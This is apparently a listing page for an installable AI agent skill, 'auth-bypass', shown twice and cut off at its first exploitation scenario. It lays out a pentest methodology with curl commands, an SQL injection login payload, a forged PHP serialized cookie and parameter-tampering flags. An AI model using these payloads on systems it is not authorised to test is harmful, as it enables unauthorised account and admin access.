auth-bypass

Name: auth-bypass
Author: ShulkwiSEC

18stars5forks

How to install auth-bypass?

shulkwisec/bb-huge/auth-bypass

$npx -y skills add ShulkwiSEC/bb-huge --skill auth-bypass

Installs into the current project.

Summary

Bypass authentication via forced browsing to protected URLs, parameter tampering (authenticated=yes, debug=true, fromtrustIP=true), session ID prediction from linear/incremental cookies, SQL injection on login forms, PHP unserialize() boolean type juggling (b:1 payload), and cred

Files · 1

View on GitHub

SKILL.md

1	# Authentication Bypass
2
3	## What Is Broken and Why
4
5	Authentication logic applied only at the login page leaves all downstream pages unprotected.
6	Applications relying on client-supplied flags (`authenticated`, `role`, `admin`) to gate access
7	allow trivial bypass by modifying those values. Predictable session tokens enable forging.
8	Insecure deserialization in cookie handling allows boolean type juggling to short-circuit
9	credential verification. Credentials transmitted over HTTP expose them to passive interception.
10	Browser caching of authenticated responses allows offline credential harvesting from shared machines.
11
12	## Key Signals
13
14	- Login redirect but direct URL access to `/dashboard`, `/admin`, `/profile` returns 200
15	- Parameters like `authenticated=`, `isAdmin=`, `role=`, `debug=`, `fromtrustIP=` in GET/POST/cookies
16	- Session cookies with sequential, time-based, or partially-static values
17	- Login form accepting `' OR '1'='1` or similar SQL payloads
18	- Application serializes auth state into cookies (`a:2:{s:11:"autologinid";...}`)
19	- Login or registration form submitting over `http://` instead of `https://`
20	- Absence of `Secure` flag on session cookies
21	- No `Cache-Control: no-store` on pages containing sensitive data
22	- `Set-Cookie` not issuing new token after successful authentication (session fixation overlap)
23
24	## Methodology
25
26	1. Map all authenticated endpoints: Spider application; note every URL requiring login.
27	2. Forced browsing: Without authenticating, request each protected URL directly. Record any
28	that return 200 or partial content.
29	3. Parameter tampering: Intercept login and post-login requests; add or modify boolean
30	parameters (`authenticated=yes`, `admin=true`, `debug=true`, `fromtrustIP=true`).
31	4. Cookie manipulation: Decode cookies (base64, URL, serialization); identify role/auth fields;
32	modify and re-submit.
33	5. Session prediction: Collect 50+ session tokens under identical conditions; analyze for
34	patterns (incrementing integers, timestamp encoding, partial static prefix).
35	6. SQL injection on login: Attempt classic payloads in username/password fields.
36	7. Deserialization probe: If PHP serialized format detected in cookie, craft boolean bypass.
37	8. Transport test: Replace `https://` with `http://` for login, registration, and password
38	flows; observe if credentials submit over plain HTTP.
39	9. Cache test: Log in, log out, press Back; reload authenticated pages; check local cache files.
40
41	## Payloads & Tools
42
43	```bash
44	# Forced browsing — direct access to protected page
45	curl -s http://TARGET/admin/dashboard -o /dev/null -w "%{http_code}"
46
47	# Parameter tampering via GET
48	curl "http://TARGET/home?authenticated=yes&admin=true"
49
50	# SQL injection on login form
51	# Username field: ' OR '1'='1'--
52	# Password field: anything
53	curl -X POST http://TARGET/login \
54	-d "user=' OR '1'='1'--&pass=x"
55
56	# PHP unserialize boolean bypass cookie
57	# Original: a:2:{s:11:"autologinid";s:32:"<hash>";s:6:"userid";s:1:"2";}
58	# Bypass: a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
59	# Encode to base64 and set as cookie value
60	python3 -c "
61	import base64
62	payload = b'a:2:{s:11:\"autologinid\";b:1;s:6:\"userid\";s:1:\"2\";}'
63	print(base64.b64encode(payload).decode())
64	"
65
66	# Check if login submits over HTTP
67	curl -v -X POST http://TARGET/login \
68	-d "user=admin&pass=PASSWORD" 2>&1 \| grep -E "< HTTP\|Location:\|Set-Cookie"
69
70	# Verify Secure flag on session cookie
71	curl -I https://TARGET/login \| grep -i "set-cookie"
72
73	# Check cache headers on sensitive pages
74	curl -I https://TARGET/account/profile \| grep -iE "cache-control\|pragma\|expires"
75	```
76
77	## Bypass Techniques
78
79	- If login page redirects to HTTPS but form action is still HTTP, credentials are transmitted
80	unencrypted.
81	- `Cache-Control: private` does NOT prevent local browser caching; only `no-store` does.
82	- Applications that check `$_GET['authenticated']` but not `$_POST['authenticated']` may be
83	bypassed by moving the parameter to the query string.
84	- PHP type juggling: `"0e123" == "0e456"` evaluates true; password hash comparison bypasses
85	possible if hash begins with `0e`.
86	- Encoded/encrypted cookie values containing auth state may still be decodable if using weak
87	schemes (XOR, base64-only, ECB mode).
88
89	## Exploitation Scenarios
90
91	**Scenario 1 — Forced Browse

People who liked this also viewed

6 picks

Type

auth-bypass

18stars5forks

View on GitHub

How to install auth-bypass?

shulkwisec/bb-huge/auth-bypass

$npx -y skills add ShulkwiSEC/bb-huge --skill auth-bypass

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Authentication Bypass
2
3	## What Is Broken and Why
4
5	Authentication logic applied only at the login page leaves all downstream pages unprotected.
6	Applications relying on client-supplied flags (`authenticated`, `role`, `admin`) to gate access
7	allow trivial bypass by modifying those values. Predictable session tokens enable forging.
8	Insecure deserialization in cookie handling allows boolean type juggling to short-circuit
9	credential verification. Credentials transmitted over HTTP expose them to passive interception.
10	Browser caching of authenticated responses allows offline credential harvesting from shared machines.
11
12	## Key Signals
13
14	- Login redirect but direct URL access to `/dashboard`, `/admin`, `/profile` returns 200
15	- Parameters like `authenticated=`, `isAdmin=`, `role=`, `debug=`, `fromtrustIP=` in GET/POST/cookies
16	- Session cookies with sequential, time-based, or partially-static values
17	- Login form accepting `' OR '1'='1` or similar SQL payloads
18	- Application serializes auth state into cookies (`a:2:{s:11:"autologinid";...}`)
19	- Login or registration form submitting over `http://` instead of `https://`
20	- Absence of `Secure` flag on session cookies
21	- No `Cache-Control: no-store` on pages containing sensitive data
22	- `Set-Cookie` not issuing new token after successful authentication (session fixation overlap)
23
24	## Methodology
25
26	1. Map all authenticated endpoints: Spider application; note every URL requiring login.
27	2. Forced browsing: Without authenticating, request each protected URL directly. Record any
28	that return 200 or partial content.
29	3. Parameter tampering: Intercept login and post-login requests; add or modify boolean
30	parameters (`authenticated=yes`, `admin=true`, `debug=true`, `fromtrustIP=true`).
31	4. Cookie manipulation: Decode cookies (base64, URL, serialization); identify role/auth fields;
32	modify and re-submit.
33	5. Session prediction: Collect 50+ session tokens under identical conditions; analyze for
34	patterns (incrementing integers, timestamp encoding, partial static prefix).
35	6. SQL injection on login: Attempt classic payloads in username/password fields.
36	7. Deserialization probe: If PHP serialized format detected in cookie, craft boolean bypass.
37	8. Transport test: Replace `https://` with `http://` for login, registration, and password
38	flows; observe if credentials submit over plain HTTP.
39	9. Cache test: Log in, log out, press Back; reload authenticated pages; check local cache files.
40
41	## Payloads & Tools
42
43	```bash
44	# Forced browsing — direct access to protected page
45	curl -s http://TARGET/admin/dashboard -o /dev/null -w "%{http_code}"
46
47	# Parameter tampering via GET
48	curl "http://TARGET/home?authenticated=yes&admin=true"
49
50	# SQL injection on login form
51	# Username field: ' OR '1'='1'--
52	# Password field: anything
53	curl -X POST http://TARGET/login \
54	-d "user=' OR '1'='1'--&pass=x"
55
56	# PHP unserialize boolean bypass cookie
57	# Original: a:2:{s:11:"autologinid";s:32:"<hash>";s:6:"userid";s:1:"2";}
58	# Bypass: a:2:{s:11:"autologinid";b:1;s:6:"userid";s:1:"2";}
59	# Encode to base64 and set as cookie value
60	python3 -c "
61	import base64
62	payload = b'a:2:{s:11:\"autologinid\";b:1;s:6:\"userid\";s:1:\"2\";}'
63	print(base64.b64encode(payload).decode())
64	"
65
66	# Check if login submits over HTTP
67	curl -v -X POST http://TARGET/login \
68	-d "user=admin&pass=PASSWORD" 2>&1 \| grep -E "< HTTP\|Location:\|Set-Cookie"
69
70	# Verify Secure flag on session cookie
71	curl -I https://TARGET/login \| grep -i "set-cookie"
72
73	# Check cache headers on sensitive pages
74	curl -I https://TARGET/account/profile \| grep -iE "cache-control\|pragma\|expires"
75	```
76
77	## Bypass Techniques
78
79	- If login page redirects to HTTPS but form action is still HTTP, credentials are transmitted
80	unencrypted.
81	- `Cache-Control: private` does NOT prevent local browser caching; only `no-store` does.
82	- Applications that check `$_GET['authenticated']` but not `$_POST['authenticated']` may be
83	bypassed by moving the parameter to the query string.
84	- PHP type juggling: `"0e123" == "0e456"` evaluates true; password hash comparison bypasses
85	possible if hash begins with `0e`.
86	- Encoded/encrypted cookie values containing auth state may still be decodable if using weak
87	schemes (XOR, base64-only, ECB mode).
88
89	## Exploitation Scenarios
90
91	**Scenario 1 — Forced Browse

People who liked this also viewed

6 picks

Type